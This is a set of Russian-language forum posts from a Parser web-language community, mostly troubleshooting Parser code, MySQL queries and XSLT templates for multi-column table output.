но ^connect в коде я использую только один в процедуре @main\
[code]\
@main[]\
^connect[$connect_string]{\
^if($primary is junction){^primary[]}\
<html>\
<head>\
<title>^if(def $title){$title}</title>\
<meta name=\"Description\" content=\"^if(def $metaDesc){$metaDesc}\">\
<link rel=\"stylesheet\" href=\"/css/main.css\" type=\"text/css\">\
<style>\
.btxt{color:blue}\
</style>\
</head>\
<body $onLoad leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\" link=\"#000000\" vlink=\"#000000\" alink=\"#000000\">\
 ^header[]\
 ^body[]\
 ^if(! (def $form:change || def $form:add)){^footer[]}\
</body>\
</html>\
}<!--close connect_string-->\
[/code]\
Искусственно вызвать ситуацию незакрытого коннекта мне не удалось, запросы которые висели с огромным временем исполнения до 35000, на моих глазах прекрасно выполнялись."
"33205","Есть три файла\
\
[b]class.p:[/b]\
[code]\
@CLASS\
class\
\
@create[cfg]\
$self.cfg[$cfg]\
\
@method[]\
^if($self.cfg is 'hash'){hash}{not hash}\
[/code]\
\
[b]class1.p[/b]\
[code]\
@CLASS\
class1\
\
@create[]\
\
\
@someMethod[cfg]\
\
$className[class]\
$methodName[method]\
\
^use[${className}.p]\
\
\
$obj[^process{^^${className}::create[^$cfg]}]\
\
^obj.[$methodName][]\
[/code]\
\
[b]test.html[/b]\
[code]\
@USE\
class1.p\
\
@main[]\
$cfg[\
	$.somevar[!!!]\
]\
\
$obj[^class1::create[]]\
^obj.someMethod[$cfg]\
[/code]\
\
При запуске test.html получаем \"not hash\", хотя передем именно хэш\
\
Если же хэш $cfg передадим не методу ^class1.someMethod[], а конструктору класса class1, что бы он сохранил этот хэш, как переменную объекта, то все работает.\
\
Т.е. получается, что код внутри ^process{} выполняется не в контексте метода ^class1.someMethod[], а в контексте всего класса class1.\
\
В документации сказано: [i]\"Строка будет скомпилирована и выполнена как код на Parser, в указанном контексте, или в текущем контексте.\"[/i]\
Т.к. я не указываю контекст, ожидаю, что код будет выполнен в контексте именно этого метода.\
\
Это я чего-то не поимаю или, все же, баг?"
"33206","если я скажу что код вне process и внутри не имеют ничего общего между собой - живут в разных мирах.\
\
зы Поиск по форуму рулит"
"33207","Мне кажется, ваше замечание не особо относится к моему вопросу.\
Код внутри ^process{}'а - действительно, во многом отличен от того, что вне него. Однако, согласно документации, код внутри должен выполнятся в том контексте, в котором находится сам ^process{}. В приведенном мной примере это не так.\
Собственно, по этому я спрашиваю: я чего-то не понял в документации, это ошибка или еще что-то? \
\
Поиск, однозначно, рулит, но в данной ситуации он мне не помог."
"33208","Просто у меня один из столбцов таблицы field назывался columns, поэтому собственно и получалась конструкция $field.columns, которая и давала эту ошибку, по причине одноименного метода класса table. Вот так вот бывает, но с вечера был почти 100% уверен в баге интерпритатора... Приношу разработчикам извинения за неблаговидные мысли... :)"
"33209","Экий вы батенька хитрый. Средствами только парсера это сделать невозможно, ибо плавность линий есть явление антиалиасинга. Простейший вариант его реализации сделать картинку втри или два раза больше по размеру чем необходимо и вывести на экран соответственно втри, два раза меньше. Вот и получиш плавность линий.\
Да чуть не забыл, палитра при этом должна быть чуть побольше. \
Например для реализации этого возьми модуль Сперанса для изменения размера картинки, я так думаю может сработать %-)"
"33210","Уж сколько раз твердили миру что не надо делать \"select *...\",  \
да только всё не впрок.."
"33211","Цитата про классс junction: \"Выполнение проверки и кода оператор производит в сохраненном (внутри $condition и $action) контексте...\"\
\
Вопрос: Не планируется ли способ изменения переменных внутри сохраненного контекста? например так:\
\
@a[][varinside]\
$varinside[456]\
^b{\
  $varinside\
}\
\
@b[myjunction]\
$myjunction.varinside[123]"
"33216","Да, я понимаю вред от \"select * from\", читал о нем не раз, в том числе в Мишиных заметках. Но мой случай тот, когда целью является универсальность. Вот задача: по записи [b]произвольной[/b] таблицы сформировать XML-элемент с атрибутами, названия которых совпадают с названиями столбцов таблицы, а значения атрибутов - значения столбцов. Можно здесь обойтись без \"select * from\"?\
\
Возможно есть какой-то SQL оператор, отличный от select, который дает структуру таблицы без запроса данных?"
"33217","http://www.parser.ru/forum/?id=20720\
\
[code]\
@CLASS\
class\
\
@create[cfg]\
$CFG[$cfg]\
\
@method[]\
^if($CFG is 'hash'){hash}{not hash}\
\
[/code]"
"33218","хочу получить 123, а не 456:\
\
@a[][varinside]\
$varinside[456]\
^b{$varinside}\
\
@b[myjunction]\
^c{$myjunction}\
\
@c[myjunction]\
$myjunction.varinside[123]\
$myjunction"
"33223","в разделе [url=http://www.parser.ru/download/win32/]\"скачать\"[/url] есть парсер с поддержкой XML и без.\
Если она нужна, то нужен exe'шник соответствующий."
"33225","Тот пример, который привели вы, ведет себя точно так же - вы просто переименовали переменную."
"33227","запросы [b]ваши[/b] висят?\
если locked(см. документацию mysql по приведённой ссылке), значит ждут чего-то([b]не выполняются[/b]=не смотрите на их время), чего ждут?\
\
это \"что-то\", это запрос со статусом [b]не[/b] locked, который запрос? почему он тормозит?\
\
вы поняли направление поисков?"
"33228","остальные способы пока не/плохо-переносимы…\
\
про $table.fields, наверное, почитали…"
"33229","http://www.parser.ru/forum/?id=26486"
"33230","вы уже представили себе ужасы отладки, когда через полгода вы забудете о тайном казачке, втихаря что-то там меняющем?\
\
удобного способа делать ужас нет и не будет, пока не придумаете красивый пример, когда это нужно :)"
"33231","это [b]что-то[/b] имеет статус \"Copying to tmp table\" и длится наиболее большее время.\
это [b]что-то[/b] запрос поиска:\
[code]\
select shop.id, date, shop.name, isphoto, category cat, subcategory sub, sub2, sub3, price, money, firm, site, phones, pic_id from shop , kpclients where kpclients.id=shop.log_id and kpclients.account > 0 and (shop.name like '%m-l11%' or kpclients.firm like '%m-l11%') group by id order by id desc limit 10\
[/code]\
и в данном случае ситуацию я понимаю так, что поиск занял слишком длительное время, точнее говоря бесконечно длительное в связи с чем подсоединение к mysql серверу остается бесконечно открытым.. способы выхода из данной ситуации я вижу такие: оптимизация запроса, оптимизация структуры таблицы."
"33239","передать ей cookie"
"33240","Вот такой вызов оператора:\
[code]^statis[$request:uri;$form:name;$form:proiz][/code]\
\
Выдает ошибку:\
[b]Unhandled Exception (Debug)[/b]\
[b]method_frame may not be overwritten with table, store it to variable instead[/b]\
[b]MAIN[/b]\
\
и указывает на строку, где этот оператор вызывается.\
\
Никак не могу найти ошибку - объект, который Парсер не может вывести.\
\
А вот сам оператор,\
он записывает в базу посещения произведений авторов -\
новых посетителей за текущий день,\
всего посетителей за тек.день и хиты за день.\
Т.е. в итоге в таблице statistics в базе\
на каждый день и на одно произведение\
отводится отдельная строка:\
[code]\
@statis[url;name;proiz][u;now;sqldate;parts;statistb;new_visitor;visitor;hits;proiz_day]\
\
^if(def $url && def $name && def $proiz){\
\
$u[/authors/?name=$name&proiz=$proiz]\
^if($url eq $u){\
\
^if(^auth_table.locate[au_eng;$name]){\
\
\
$now[^date::now[]]\
$sqldate[^now.sql-string[]]\
$parts[^sqldate.split[ ;lh]]\
\
^dbconnect{\
\
	$statistb[^table::sql{\
		SELECT date, new_visitor, visitor, hits\
		FROM statistics\
		WHERE au_eng='$auth_table.au_eng' AND eng_header='$proiz' AND date='$parts.0'\
		}[$.limit(1) $.offset(0)]\
		]\
\
^if(def $statistb){\
	$new_visitor($statistb.new_visitor)\
	$visitor($statistb.visitor)\
	$hits($statistb.hits)\
	}{\
	$new_visitor(0)\
	$visitor(0)\
	$hits(0)\
	}\
\
\
^if(!def $cookie:$proiz){\
	$cookie:$proiz[\
		$.value[on]\
		$.expires(365)]\
		^new_visitor.inc(1)\
	}\
$proiz_day[${proiz}_day]\
^if(!def $cookie:$proiz_day || $cookie:$proiz_day ne $parts.0){\
	$cookie:$proiz_day[\
		$.value[$parts.0]\
		$.expires(1)]\
		^visitor.inc(1)\
	}\
^hits.inc(1)			\
\
^if(def $statistb){\
	^void:sql{\
		UPDATE statistics\
		SET new_visitor='$new_visitor', visitor='$visitor', hits='$hits'\
		WHERE date='$parts.0' AND au_eng='$auth_table.au_eng' AND eng_header='$proiz'\
		}\
	}{\
	^void:sql{\
		INSERT INTO statistics\
		(date, au_id, au_eng, eng_header, new_visitor, visitor, hits)\
		VALUES\
		('$parts', '$auth_table.au_id', '$auth_table.au_eng', '$proiz', '$new_visitor', '$visitor', '$hits')\
		}	\
	}\
\
^rem{*** end dbconnect ***}\
}\
\
^rem{*** end locate ***}\
}\
\
^rem{*** end if ***}\
}\
\
^rem{*** end if ***}\
}\
[/code]"
"33241","[code]^void:sql{\
	INSERT INTO statistics\
	(date, au_id, au_eng, eng_header, new_visitor, visitor, hits)\
	VALUES\
	('[b]$parts[/b]', '$auth_table.au_id', '$auth_table.au_eng', '$proiz', '$new_visitor', '$visitor', '$hits')\
		}	\
	}\
[/code]\
\
Нужно [b]$parts.0[/b]"
"33242","[code]\
@main[]\
#server\
\
^if(def $cookie:name && def $cookie:nick){\
^$cookie:name=$cookie:name\
^$cookie:nick=$cookie:nick\
}{Куку, да!?}\
[/code]\
\
[code]\
@main[]\
#client\
\
$remote_file[^file::load[text;http://localhost/cookie/server.html;\
$.headers[\
 $.Cookie[name=Temp^;nick=Tempovich]\
         ]]]\
\
Получили:\
$remote_file.text\
[/code]"
"33243","Добрый день!\
Столкнулся с такой проблемой:\
    сайт с фреймами (это необходимо, т.к. использую перловый \
скрипт для поиска и счетчик посещений на php; все страницы\
имеют одинаковый стиль: однообразные header, footer и меню, которые\
генеряться парсером -- не хочеться все это генерить еще и перлом \
(это не в облом - просто в таком случае потеряется простота и красота\
кода, IMHO). \
     Во фрейме, называемом main_frame, выводится контент или, например, результат поиска: (auto.p в корне web)\
[code]\
@main[]\
\
    $frames[yes]\
    ^make_page[]\
\
\
@make_page[]\
\
<html>\
<head>\
    <title>^make_title[]</title>\
    ^define_function[]\
</head>\
^if($frames eq \"yes\"){\
    <frameset rows=\"70, *\">\
	<frame src=\"/header.html\">\
	<frameset cols=\"20%, *\">\
	    <frame src=\"/navigation.html\">\
	    <frame name=\"main\" src=\"/main_frame.html\">\
	</frameset>\
    </frameset>\
}{\
    <body>\
	^make_banner[]\
	<table width=\"100%\" border=\"1\">\
	    <tr>\
		<td>\
\
		    ^make_content[]\
	</table>\
}\
</html>\
\
@show_content[]\
    <table width=\"100%\" border=\"0\">\
        <tr>\
             <td>\
                 site content...\
[/code]\
\
\
метод [b]show_content[][/b] вызывается из [b]main_frame.html[/b]:\
[code]^show_content[][/code]\
идея такова: этим методом наполнять main_frame.html в зависимости от [code]$request:uri[/code]\
Но... работает все как и должно работать, а не как я предполагал вначале ;)  : [code]$request:uri[/code] содержит\
/main_frame.html  всегда.\
И вот вопрос к вам: где мне запомнить искомый [code]$request:uri[/code], например, /page_mass/my_page.html ?\
Казалось бы, перегрузка метода [code]@show_content[][/code] на странице my_page.html решит проблему, но парсер не\
пускает (полет мысли программиста ограничивает только компилятор ;) : метод не перегружается - вызывается оригинальный\
метод из auto.p.\
Попытка запоминания [code]$request:uri[/code] из auto.p или из метода [code]@auto[][/code] из my_page.html:\
[code]\
@auto[]\
$MAIN:url[$request:uri]\
[/code] тоже ни к чему не приводит - если проверить переменную из [code]@show_content[][/code] то оказывается\
что она undefined ! Как же так ведь по документации сказано, что методы [code]@auto[][/code] вызываются\
ПЕРЕД методом [code]@main[][/code]  !!!!\
    \
    Посоветуете что-нибудь ?\
\
Спасибо."
"33244","Такой вот код:\
auto.p:\
[code]\
@main[]\
\
    $frames[yes]\
    ^make_page[]\
\
\
@make_page[]\
\
<html>\
<head>\
    <title>^make_title[]</title>\
    ^define_function[]\
</head>\
^if($frames eq \"yes\"){\
    <frameset rows=\"70, *\">\
	<frame src=\"/header.html\">\
	<frameset cols=\"20%, *\">\
	    <frame src=\"/navigation.html\">\
	    <frame name=\"main\" src=\"/main_frame.html\">\
	</frameset>\
    </frameset>\
}{\
    <body>\
	^make_banner[]\
	<table width=\"100%\" border=\"1\">\
	    <tr>\
		<td>\
\
		    ^make_content[]\
	</table>\
}\
</html>\
[/code]\
\
содержимое файла main_frame.html:\
[code]\
^if(def $MAIN:frames){\
    defined\
}{\
    undefined\
}\
[/code]\
\
в результате код выдает undefined.\
Как сделать, чтобы я смог обратиться к переменной [b]$frames[/b],\
т.е. чтобы она была определена ?"
"33245","я не могу точно сформулировать вопрос, потому лучше на примере.\
sql-запрос работает всесте с постраничным выводом и должен быть вне класса постраничного вывода.\
[code]\
#здесь хочется упростить внешний вид запроса, не прибегая к LIMIT A,B\
$table[^table::sql{SELECT id FROM atable}[^pagination.limits[]]]\
#А дальше - косяки. В классе постраничного вывода такой метод\
@limits[]\
^$.limit(A) ^$.offset(B)\
[/code]\
В этом виде выборка не работает (выводятся все записи). ^untaint тоже не помогает."
"33246","содержимое файла main_frame.html: \
\
[code]\
@make_page[]\
^if(def $MAIN:frames){\
    defined\
}{\
    undefined\
}\
[/code]"
"33247","А попробуй вот так:\
[code]\
@limits[]\
   $result[$.limit(A) $.offset(B)]\
[/code]\
\
Если я правильно понял проблему, то ты просто не\
возвращаеш хэш из метода [b]@limits[][/b]\
\
Все, что ты запишеш в [b]$result[/b] будет возвращено как\
результат работы метода."
"33248","в этом случае, как я понимаю, парсер пытается создать хэш из переменной result и закономерно выдает ошибку method_frame cannot be overwritten with hash"
"33252","только сразу прошу не смейтесь сильно. помощь нужна. задача такова: есть сайт. ну я просто сваял его в DW... статичный хтмл короче. начал думать и понял что буду полным идиотом если все буду писать руками и обновлять тоже. соответственно возник вопрос: как занести данные в БД а затем по линку сделать запрос на одну и ту же страничу хтмльную но с разным текстом. я порылся понял что это что-то типа mysql дальше стал рыться наткнулся на парсер. мне в общем-то нужно немного: допустим [b]рассказы[/b]. есть название и цитата. на линке должен висеть запрос к одной и той же форме но с разным текстом из БД. я понимаю что никто здесь не изложет мне принципы и азы работы на парсере но хотя бы подскажите с чего начать и где взять. так чтобы не очень углубляться потому что собственные форумы я ваять вряд ли буду. мне нужно понять как это работает. я свовсем не программист. хотя когда-то ваял на паскале ерунду какую-то и на дельфи чуть-чуть...\
прошу прощения что много так.\
\
заранее благодарен тем кто откликнется по делу а не скажет *ламер пшол вон!*"
"33253","Начните с примеров. Там как раз доходчиво и понятно объясняются вопросы, которые Вас интересуют. Специально для тех, кто хочет сделать простеньку динамику из статики"
"33254","Одной из самых частых задач вывода данных является вывод однородных данных в несколько столбцов.\
Предлагаю свой метод решения, критика приветствуется.\
[code]\
<xsl:template name=\"columns_out\">\
	<xsl:param name=\"limit\" select=\"2\"/>\
	<xsl:param name=\"node_set\"/>\
	<xsl:param name=\"call\"/>\
\
	<xsl:variable name=\"width\">\
		<xsl:choose>\
			<xsl:when test=\"count($node_set) &gt; $limit\">\
				<xsl:value-of select=\"round(100 div $limit)\"/>\
			</xsl:when>\
			<xsl:otherwise>\
				<xsl:value-of select=\"round(100 div count($node_set))\"/>\
			</xsl:otherwise>\
		</xsl:choose>\
		<xsl:text>&#x0025;</xsl:text>\
	</xsl:variable>\
\
	<table width=\"100&#x0025;\" cellspacing=\"0\" cellpadding=\"0\" border=\"0\">\
		<xsl:text disable-output-escaping=\"yes\">&lt;tr&gt;</xsl:text>\
		<xsl:for-each select=\"$node_set\">\
			<td width=\"{$width}\">\
				<xsl:call-template name=\"caller\">\
					<xsl:with-param name=\"call\">\
						<xsl:value-of select=\"$call\"/>\
					</xsl:with-param>\
				</xsl:call-template>\
			</td>\
			<xsl:choose>\
				<xsl:when test=\"position() mod $limit = 0\">\
<!-- если номер столбца кратен лимиту, делаем перевод строки -->\
					<xsl:text disable-output-escaping=\"yes\">&lt;/tr&gt;&lt;tr&gt;</xsl:text>\
				</xsl:when>\
				<xsl:when test=\"position() = last()\">\
<!-- если элемент последний, то завершаем строку -->\
					<xsl:text disable-output-escaping=\"yes\">&lt;/tr&gt;</xsl:text>\
				</xsl:when>\
			</xsl:choose>\
		</xsl:for-each>\
	</table>\
</xsl:template>\
\
<xsl:template name=\"caller\">\
	<xsl:param name=\"call\"/>\
\
	<xsl:choose>\
		<xsl:when test=\"$call = 'work'\">\
			<xsl:call-template name=\"work\"/>\
		</xsl:when>\
		<xsl:when test=\"$call = 'list_item'\">\
			<xsl:call-template name=\"list_item\"/>\
		</xsl:when>\
<!-- вызовы прочих шаблонов\
		<xsl:when test=\"$call = ''\">\
			<xsl:call-template name=\"\"/>\
		</xsl:when>\
/вызовы прочих шаблонов -->\
		<xsl:otherwise>\
			<xsl:call-template name=\"default_\"/>\
		</xsl:otherwise>\
	</xsl:choose>\
</xsl:template>\
\
<xsl:template name=\"default_\">\
<xsl:text><b>Ошибка, вызван дефолтный шаблон</b></xsl:text>\
</xsl:template>\
[/code]\
\
«Метод» состоит из двух шаблонов. Если бы не ограничения xsl 1.0 на динамику вызова шаблонов, можно было бы ограничиться одним, но пока два.\
\
Первый шаблон строит ячейки таблицы и вызывает второй шаблон, который занимается выводом необходимых данных.\
\
Вызывать так:\
[code]\
	<xsl:call-template name=\"columns_out\">\
		<xsl:with-param name=\"limit\" select=\"количество колонок\"/>\
		<xsl:with-param name=\"node_set\" select=\"выбранное множество узлов\"/>\
		<xsl:with-param name=\"call\">шаблон, для вывода данных в ячейке</xsl:with-param>\
	</xsl:call-template>\
[/code]\
\
Второй шаблон содержит вызовы различных шаблонов в зависимости от входного параметра.\
Если необходимо больше вариантов – дополните список.\
Если передан вызов не внесённого в список шаблона, будет вызван шаблон «default_»."
"33255","спасибо гляну."
"33256","[code]\
	<xsl:variable name=\"no_of_columns\">3</xsl:variable>\
\
	<xsl:template name=\"...\">\
		<table>\
			<xsl:for-each select=\"item[position() mod $no_of_columns = 1]\">\
			<tr>\
				<xsl:apply-templates select=\".|following-sibling::item[position() &lt; $no_of_columns]\"/>\
			</tr>\
			</xsl:for-each>\
		</table>\
	</xsl:template>\
\
	<xsl:template match=\"item\">\
		<td>\
			...\
		</td>\
	</xsl:template>\
[/code]"
"33257","> но хотя бы подскажите с чего начать и где взять. так чтобы не очень углубляться\
\
а придется углубляться, иначе ничего не выйдет. Так что 3 варианта:\
\
1. Покупай книжки и вперед\
2. Бери готовые вещи для этого, например http://www.fogcreek.com/CityDesk/index.html\
\
3. Нанимай для этого других, кто умеет. Меня бы 10 долларов в час устроило :) Типовое решение можно развернуть часов за 20-30"
"33258","нет готовых нам не надо :)\
тут такая задача что не только ради результата. собсно создание сайта - тот же креатив а сайт именно этому и будет посвящен..\
ну я почитал по совету тут в примерах. дебри конечно но в общем-то если убить пару месяце ориентироваться уже можно. расстроило другое - наряду с parser придется залезать еще в дебри mysql а вот это ой как не хоцца.. реально ли не вдаваясь в mysql решить мою проблему?\
\
и еще вопрос: насколько реальна связка parser + DW4... а то не хочецца прописывать все красивые таблички ручками. я так понимаю любой редактор ВИЗИВИГ а потом кодик копируем и в auto.p его с изменениями и добавлениями собсно парсера.. так?\
\
хм.. ну сделал бы ты мне сайт. а обновлять я потом как?.. все равно разбирацца..."
"33259","> хм.. ну сделал бы ты мне сайт. а обновлять я потом как?.. все равно разбирацца..\
\
Для этого есть спец. административный модуль. Ладно, я дискуссию закончил."
"33260","сурово.\
жаль что не ответил насчет связки parser+DW и насчет mysql. ну ладно может кто-нить другой что-то ответит."
"33261","кстати меня зовут Егоров Зорислав Сергеевич :)\
приятное совпадение."
"33262","Так как делается масса выборок [code].|following-sibling::item[position() &lt; $no_of_columns][/code].\
Надо попробывать сравнить методы с замером времени трансформа."
"33263","И чем же это более ресурсоемко?\
\
Главное в коде, - это его [b]читабельность[/b], даже если он чуть медленнее, что совсем не так."
"33264","Как работать с этим классом не понятно.\
Пробую добавить строку в ответ получаю ошибку.\
В документации об этом ни чего нет.\
\
Мне необходимо добавлять/удалять правила в iptables, это можно делать через консоль, а можно-ли это зделать с помощью ПАРСЕРа?"
"33266","А что это за класс такой ?? Во встроенных его нет..."
"33268","Насколько я понимаю класс Console предназначен для других целей. Если Вы можете создать некий поток данных (правда только в построчном режиме), то его можно будет обработать Парсером (в документации есть пример).\
\
Кроме того класс console доступен только если Парсер запущен с консоли, а не через веб."
"33269","[quot]И чем же это более ресурсоемко?[/quot]\
\
Тем, что выполняется количество выборок равное количеству строк выходной таблицы.\
\
[quot]даже если он чуть медленнее, что совсем не так[/quot]\
\
Сравнил.\
Сгенерил xml, вида:\
[code]\
<col_test>\
	<item id=\"1\" name=\"this is a name of the item number 1\" datetime=\"2005-04-09 15:10:36\" title=\"this is a title of the item number 1\">\
		<sub_item id=\"1\" name=\"this is a name of the sub_item number 1\" datetime=\"2005-01-04 14:10:36\" title=\"this is a title of the sub_item number 1\"/>\
		...\
		<sub_item id=\"10\" name=\"this is a name of the sub_item number 10\" datetime=\"2004-11-04 02:10:36\" title=\"this is a title of the sub_item number 10\"/>\
	</item>\
	...\
	<item id=\"100\" name=\"this is a name of the item number 100\" datetime=\"2004-09-29 15:10:36\" title=\"this is a title of the item number 100\">\
		<sub_item id=\"1\" name=\"this is a name of the sub_item number 1\" datetime=\"2005-05-04 15:10:36\" title=\"this is a title of the sub_item number 1\"/>\
		...\
		<sub_item id=\"10\" name=\"this is a name of the sub_item number 10\" datetime=\"2004-10-27 03:10:36\" title=\"this is a title of the sub_item number 10\"/>\
	</item>\
</col_test>\
[/code]\
То бишь 100 item'ов, и 10 sub_item'ов в каждом.\
\
Затем вывел его в html-таблицу, колонк две.\
Результаты:\
Мой метод:\
Время:\
скрипт — 0,09375 сек\
Память:\
занято — 3896 Кб\
\
Ваш:\
Время:\
скрипт — 0,135417 сек\
\
Память:\
занято — 3856 Кб\
\
Замерял три раза, результаты средние."
"33270","4-е сотых секунды это смешно, по сравнению с выигрышем в читабельности."
"33271","Товарищ, вы это, не глупите, скачивайте доку и садитесь за пять уроков.\
По окончанию их выполнения сможете сделать то, что вас интересует."
"33272","А он есть? :)\
\
Убрать мои навороты вычисления ширины и вызовов то на то и выйдет.\
\
Ну да ладно, мне главное - иной, нежели мой подход увидеть."
"33273","ну тогда еще вариант с рекурсией:\
[code]\
<xsl:variable name=\"no_of_columns\">3</xsl:variable>\
\
<xsl:template name=\"...\">\
	<table>\
		<xsl:param name=\"rowsAmount\" select=\"floor(count(item) div $no_of_columns) + 1\"/>\
		<xsl:call-template name=\"printRow\">\
			<xsl:with-param name=\"rowsAmount\" select=\"$rowsAmount\"/>\
		</xsl:call-template>\
	</table>\
</xsl:template>\
\
<xsl:template name=\"printRow\">\
	<xsl:param name=\"row\" select=\"0\"/>\
	<xsl:if test=\"$row &lt; $rowsAmount\">\
		<tr>\
			<xsl:call-template name=\"printColumn\">\
				<xsl:with-param name=\"row\" select=\"$row\"/>\
			</xsl:call-template>\
		</tr>\
		<xsl:call-template name=\"printRow\">\
			<xsl:with-param name=\"rowsAmount\" select=\"$rowsAmount\"/>\
			<xsl:with-param name=\"row\" select=\"$row + 1\"/>\
		</xsl:call-template>\
	</xsl:if>\
</xsl:template>\
\
<xsl:template name=\"printColumn\">\
	<xsl:param name=\"column\" select=\"0\"/>\
	<xsl:if test=\"$column &lt; $no_of_columns\">\
		<td>\
			...\
		</td>\
		<xsl:call-template name=\"printColumn\">\
			<xsl:with-param name=\"row\" select=\"$row\"/>\
			<xsl:with-param name=\"column\" select=\"$column + 1\"/>\
		</xsl:call-template>\
	</xsl:if>\
</xsl:template>\
[/code]"
"33274","Либо Вам придётся в этом деле разобраться хотя бы чуточку, либо придётся нанять кого-нибудь, кто сделает систему управления контентом, причём такую, чтобы думать не пришлось при внесении информации."
"33275","Таблица выводится, однако попытка вывести данные ни к чему не приводит, контекст преобразования-то остаётся на корне.\
\
А без вывода данных метод работает быстрее всех.\
\
Да и ещё, не ошибка ли:\
вызов шаблона printColumn идёт с тремя параметрами:\
[code]\
<xsl:with-param name=\"rowsAmount\" select=\"$rowsAmount\"/>\
<xsl:with-param name=\"row\" select=\"$row\"/>\
<xsl:with-param name=\"column\" select=\"$column + 1\"/>\
[/code]\
в то время как в шаблоне определён лишь один параметр\
[code]<xsl:param name=\"column\" select=\"0\"/>[/code]\
"
"33276","контекст выбирать так: item[position() = $row * $no_of_columns + $column + 1]/..."
"33277","Мда, рекурсия, да ещё выборок сотня - 0,197916667 сек"
"33278","вполне возможно"
"33279","Да, не обратил внимания сразу, результат выводится неверно, нет сдвига вниз, выдаётся первый итём в первой колонке и втрой во второй, шаблон:\
[code]\
<xsl:template name=\"printColumn\">\
	<xsl:param name=\"column\" select=\"0\"/>\
	<xsl:param name=\"row\" select=\"0\"/>\
	<xsl:if test=\"$column &lt; $no_of_columns\">\
	<xsl:for-each select=\"/col_test/item[position() = $row * $no_of_columns + $column + 1]\">\
		<td>\
			<xsl:text>Item: </xsl:text>\
			<br/>\
			<xsl:text>id: </xsl:text>\
			<xsl:value-of select=\"@id\"/>\
			<br/>\
			<xsl:text>name: </xsl:text>\
			<xsl:value-of select=\"@name\"/>\
			<br/>\
			<xsl:text>title: </xsl:text>\
			<xsl:value-of select=\"@title\"/>\
			<br/>\
			<xsl:text>datetime: </xsl:text>\
			<xsl:value-of select=\"@datetime\"/>\
			<br/>\
			<xsl:text>Sub_items: </xsl:text>\
			<xsl:for-each select=\"child::sub_item\">\
			<br/>\
			<xsl:text>Item: </xsl:text>\
			<br/>\
			<xsl:text>id: </xsl:text>\
			<xsl:value-of select=\"@id\"/>\
			<br/>\
			<xsl:text>name: </xsl:text>\
			<xsl:value-of select=\"@name\"/>\
			<br/>\
			<xsl:text>title: </xsl:text>\
			<xsl:value-of select=\"@title\"/>\
			<br/>\
			<xsl:text>datetime: </xsl:text>\
			<xsl:value-of select=\"@datetime\"/>\
			</xsl:for-each>\
		</td>\
		</xsl:for-each>\
		<xsl:call-template name=\"printColumn\">\
			<xsl:with-param name=\"rowsAmount\" select=\"$rowsAmount\"/>\
			<xsl:with-param name=\"row\" select=\"$row\"/>\
			<xsl:with-param name=\"column\" select=\"$column + 1\"/>\
		</xsl:call-template>\
	</xsl:if>\
</xsl:template>\
[/code]"
"33280","правильно - в шаблоне printColumn каждый раз строке присваивается 0\
\
<xsl:param name=\"row\" select=\"0\"/>\
\
этого не нужно"
"33281","Да, здесь.\
И ещё одна ошибка у вас:\
[code]\
<xsl:template name=\"printRow\">\
	<xsl:param name=\"row\" select=\"0\"/>\
	<xsl:if test=\"$row &lt; $rowsAmount\">\
		<tr>\
			<xsl:call-template name=\"printColumn\">\
				<xsl:with-param name=\"rowsAmount\" select=\"$rowsAmount\"/>\
				<xsl:with-param name=\"row\" select=\"$row\"/>\
			</xsl:call-template>\
		</tr>\
		<xsl:call-template name=\"printRow\">\
			<xsl:with-param name=\"rowsAmount\" select=\"$rowsAmount\"/>\
			<xsl:with-param name=\"row\" select=\"$row + 1\"/>\
		</xsl:call-template>\
	</xsl:if>\
</xsl:template>\
[/code]\
при вызове printColumn, параметр row ему вообще не передавался.\
\
Итого: 0,234375 сек."
"33282","была ошибка ща вроде поправлено http://www.parser.ru/forum/?id=33273\
\
так не работает?"
"33283","Да с \"file::exec\" получается примерно то, что нужно, но появилась другая проблема.\
Ipttables разрешает делать изменения только руту, а ПАРСЕР работает с файлами групы АПАЧЕ, подскажите как быть, пересобрать парсер или кокой нить другой выход есть из этой ситуации"
"33284","Что нового в следующей версии...\
приоткройте завесу тайны...."
"33285","Та самая, про которую я и говорил.\
\
\
Ну и вот полные затраты памяти на выполнение запроса:\
Рекурсивный метод: 64360.9 Кб\
Ваш первый метод: 27470.1 Кб\
Мой метод: 16844.5 Кб"
"33286","... но я бы сделал примерно так: формировал Парсером некий файлик с необходимыми действиями (например sh-скрипт), а в рутовом Кроне поставил его периодический запуск.\
\
Но делал бы так только на собственном сервере и если бы был полностью уверен, что никто другой к такому файлику доступ иметь не будет."
"33287","странно, а тут http://www.parser.ru/forum/?id=33269 в варианте в following-sibling памяти меньше расходуется"
"33288","Почему не очень...\
Какраз тот случай, когда сервер свой и доступ (физический) ни кто не имеет к ниму.\
А периодический запуск не совсем то, получится ,что правило будет добавляться бесконечное число раз.\
Необходимо внести правило один раз и по событию причём удаленно. Само правило заготовлено рутом."
"33289","Там я привёл занятую память [code]$status:memory used[/code], а в в последнем сообщении выделенную за все время обработки запроса - [code]$status:memory ever_allocated_since_start[/code]"
"33290","понятно ever_allocated_since_start не интересен, интересен сам размер памяти процесса при обработке всего запроса maxrss из status:rusage"
"33291","Так, щас скажу...\
\
Рекурсия: 9388\
sibling: 9216\
мой: 8988"
"33292","ясно, практически одинаково."
"33293","Если у кого есть желание можно повторить.\
[url=\"http://www.groundzero.ru/temp/col_test.rar\"]Исходник[/url]."
"33294","Такая ошибка возникает в таком коде:\
[code]\
$page[safasdf?wafdasdf]\
$ccc[^page.pos[?]]\
^if($ccc!=-1){\
page[^page.left[$ccc]]\
}\
[/code]\
что делать???"
"33295","вот я именно это и хотел узнать: можно ли разобраться не вникая в весь язык. т.е есть такие языки где важна база и навороты можно просто не читать.. почитав я понял что парсер из таких и это хорошо... вот только я так и не понял можно ли его удобно использовать с dreamweaver чтобы хтмл руками не писать...\
спасибо"
"33296","вполне ожиданно.\
\
а уроков я как раз пять и прочитал пока. может я и тупой но маловато этого для моей задачи. да и не все я понял - не программист всетки. \
на самом деле так любой может сказать... это я и сам понимаю что доку надо слить.. но ведь всегда существуют варианты и мне тут их уже кстати предлагали...\
хотя все равно спасибо :)"
"33297","Круглые скобки, [code]^page.left($ccc)[/code]"
"33298","$page[safasdf?wafdasdf]\
$ccc[^page.pos[?]]\
^if($ccc!=-1){\
$page[^page.left($ccc)]\
}"
"33299","... http://www.parser.ru/examples/news/ - не похоже на то, что вам нужно?\
\
половину там можно выкинуть (вам не нужен календарь). принцып по моему как вам нужно: есть список записей, и есть подробная информация о каждой записи..."
